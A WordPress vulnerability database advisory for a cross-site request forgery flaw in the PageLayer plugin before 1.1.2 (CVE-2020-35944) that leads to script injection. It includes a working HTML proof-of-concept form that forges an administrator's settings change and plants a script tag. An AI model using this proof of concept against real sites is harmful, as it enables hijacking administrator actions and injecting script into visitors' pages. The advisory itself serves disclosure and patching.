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WordPress Plugin Vulnerabilities

Page Builder: PageLayer - Drag and Drop website builder < 1.1.2 - CSRF leading to XSS

Description

A flaw allowed attackers to forge a request on behalf of a site’s administrator to modify the settings of the plugin which could allow for malicious Javascript injection.

Proof of Concept

<html>
<body>
    <form action="http://[site]/wp-admin/admin.php?page=pagelayer" method="POST">
      <input type="hidden" name="pl&#95;support&#95;ept&#91;&#93;" value="post" />
      <input type="hidden" name="pl&#95;support&#95;ept&#91;&#93;" value="page" />
      <input type="hidden" name="pagelayer&#95;content&#95;width" value="" />
      <input type="hidden" name="pagelayer&#95;between&#95;widgets" value="" />
      <input type="hidden" name="pagelayer&#95;body&#95;font" value="" />
      <input type="hidden" name="pagelayer&#95;tablet&#95;breakpoint" value="" />
      <input type="hidden" name="pagelayer&#95;mobile&#95;breakpoint" value="" />
      <input type="hidden" name="pagelayer&#95;icons&#95;set&#91;&#93;" value="font&#45;awesome5" />
      <input type="hidden" name="pagelayer&#45;address" value="&lt;script&gt;alert&#40;0&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="pagelayer&#45;phone" value="&#43;1234567890" />
      <input type="hidden" name="pagelayer&#95;cf&#95;to&#95;email" value="" />
      <input type="hidden" name="submit" value="Save&#32;Changes" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> 

Affects Plugins

pagelayer
Fixed in version 1.1.2

References

CVE
CVE-2020-35944
URL
https://www.wordfence.com/blog/2020/05/high-severity-vulnerabilities-in-pagelayer-plugin-affect-over-200000-wordpress-sites/

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Chloe Chamberland

Submitter

Chloe Chamberland

Submitter website
https://wordfence.com
Submitter twitter
infosecchloe
Verified

No

WPVDB ID
e0bf6d19-d6a4-4945-8454-950419f1efdd

Timeline

Publicly Published

2020-05-28 (about 2 years ago)

Added

2020-05-28 (about 2 years ago)

Last Updated

2021-01-03 (about 2 years ago)

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